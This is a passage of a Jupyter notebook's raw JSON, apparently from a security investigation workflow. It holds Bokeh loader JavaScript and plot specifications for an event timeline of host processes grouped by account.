\n" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = {\"73f246f3-b825-4a9a-9477-f1837ed9dabe\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1666\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"id\":\"1699\",\"subtype\":\"Figure\",\"type\":\"Plot\"}]},\"id\":\"1746\",\"type\":\"Column\"},{\"attributes\":{},\"id\":\"1690\",\"type\":\"SaveTool\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1691\",\"type\":\"PanTool\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1771\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1734\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"callback\":null,\"end\":1547530280011.0,\"start\":1547525311999.0},\"id\":\"1669\",\"type\":\"Range1d\"},{\"attributes\":{\"source\":{\"id\":\"1664\",\"type\":\"ColumnDataSource\"}},\"id\":\"1728\",\"type\":\"CDSView\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1770\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#FDE724\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1742\",\"type\":\"Diamond\"},{\"attributes\":{\"text\":\"Event Timeline\"},\"id\":\"1667\",\"type\":\"Title\"},{\"attributes\":{\"callback\":null,\"end\":1.5,\"start\":-0.5},\"id\":\"1671\",\"type\":\"Range1d\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#440154\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1737\",\"type\":\"Diamond\"},{\"attributes\":{},\"id\":\"1673\",\"type\":\"LinearScale\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1738\",\"type\":\"Diamond\"},{\"attributes\":{},\"id\":\"1708\",\"type\":\"LinearScale\"},{\"attributes\":{\"below\":[{\"id\":\"1677\",\"type\":\"DatetimeAxis\"}],\"center\":[{\"id\":\"1681\",\"type\":\"Grid\"},{\"id\":\"1686\",\"type\":\"Grid\"}],\"left\":[{\"id\":\"1682\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":300,\"plot_width\":900,\"renderers\":[{\"id\":\"1739\",\"type\":\"GlyphRenderer\"},{\"id\":\"1744\",\"type\":\"GlyphRenderer\"}],\"title\":{\"id\":\"1667\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"1692\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"1669\",\"type\":\"Range1d\"},\"x_scale\":{\"id\":\"1673\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"1671\",\"type\":\"Range1d\"},\"y_scale\":{\"id\":\"1675\",\"type\":\"LinearScale\"}},\"id\":\"1666\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"data_source\":{\"id\":\"1663\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"1737\",\"type\":\"Diamond\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1738\",\"type\":\"Diamond\"},\"selection_glyph\":null,\"view\":{\"id\":\"1740\",\"type\":\"CDSView\"}},\"id\":\"1739\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"callback\":null,\"data\":{\"NewProcessName\":[\"C:\\\\Program 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Application\",\"version\":\"1.4.0\"}};\n", " var render_items = [{\"docid\":\"73f246f3-b825-4a9a-9477-f1837ed9dabe\",\"roots\":{\"1746\":\"6d935c9e-05a7-42fe-802f-6221d221f3ad\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " clearInterval(timer);\n", " embed_document(root);\n", " } else {\n", " attempts++;\n", " if (attempts > 100) {\n", " clearInterval(timer);\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", " }\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "1746" } }, "output_type": "display_data" } ], "source": [ "nbdisplay.display_timeline(processes_on_host,\n", " group_by=\"Account\",\n", " source_columns=[\"NewProcessName\",\n", " \"ParentProcessName\"],\n", " legend=\"none\",\n", " yaxis=True, ygrid=True);" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "ExecuteTime": { "end_time": "2020-01-30T20:46:29.330698Z", "start_time": "2020-01-30T20:46:29.163792Z" }, "scrolled": false }, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id != null && id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var id = msg.content.text.trim();\n", " if (id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"2003\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) {\n", " if (callback != null)\n", " callback();\n", " });\n", " } finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.debug(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(css_urls, js_urls, callback) {\n", " if (css_urls == null) css_urls = [];\n", " if (js_urls == null) js_urls = [];\n", "\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", "\n", " function on_load() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", " run_callbacks()\n", " }\n", " }\n", "\n", " function on_error() {\n", " console.error(\"failed to load \" + url);\n", " }\n", "\n", " for (var i = 0; i < css_urls.length; i++) {\n", " var url = css_urls[i];\n", " const element = document.createElement(\"link\");\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.rel = \"stylesheet\";\n", " element.type = \"text/css\";\n", " element.href = url;\n", " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", " document.body.appendChild(element);\n", " }\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var element = document.createElement('script');\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.async = false;\n", " element.src = url;\n", " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.head.appendChild(element);\n", " }\n", " };var element = document.getElementById(\"2003\");\n", " if (element == null) {\n", " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '2003' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " function inject_raw_css(css) {\n", " const element = document.createElement(\"style\");\n", " element.appendChild(document.createTextNode(css));\n", " document.body.appendChild(element);\n", " }\n", "\n", " \n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " function(Bokeh) {\n", " \n", " \n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if (root.Bokeh !== undefined || force === true) {\n", " \n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }\n", " if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"2003\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(css_urls, js_urls, function() {\n", " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2003\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };var element = document.getElementById(\"2003\");\n if (element == null) {\n console.error(\"Bokeh: ERROR: autoload.js configured with elementid '2003' but no matching script tag was found. \")\n return false;\n }\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2003\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "\n", "\n", "\n", "\n", "\n", "
\n" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = 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%H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2059\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2128\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"label\":{\"value\":\"MSTICAlertsWin1\\\\MSTICAdmin\"},\"renderers\":[{\"id\":\"2086\",\"type\":\"GlyphRenderer\"}]},\"id\":\"2099\",\"type\":\"LegendItem\"},{\"attributes\":{},\"id\":\"2107\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2116\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2129\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"label\":{\"value\":\"NT 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" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id != null && id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var id = msg.content.text.trim();\n", " if (id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"2375\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) {\n", " if (callback != null)\n", " callback();\n", " });\n", " } finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.debug(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(css_urls, js_urls, callback) {\n", " if (css_urls == null) css_urls = [];\n", " if (js_urls == null) js_urls = [];\n", "\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", "\n", " function on_load() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", " run_callbacks()\n", " }\n", " }\n", "\n", " function on_error() {\n", " console.error(\"failed to load \" + url);\n", " }\n", "\n", " for (var i = 0; i < css_urls.length; i++) {\n", " var url = css_urls[i];\n", " const element = document.createElement(\"link\");\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.rel = \"stylesheet\";\n", " element.type = \"text/css\";\n", " element.href = url;\n", " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", " document.body.appendChild(element);\n", " }\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var element = document.createElement('script');\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.async = false;\n", " element.src = url;\n", " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.head.appendChild(element);\n", " }\n", " };var element = document.getElementById(\"2375\");\n", " if (element == null) {\n", " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '2375' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " function inject_raw_css(css) {\n", " const element = document.createElement(\"style\");\n", " element.appendChild(document.createTextNode(css));\n", " document.body.appendChild(element);\n", " }\n", "\n", " \n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " function(Bokeh) {\n", " \n", " \n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if (root.Bokeh !== undefined || force === true) {\n", " \n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }\n", " if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force 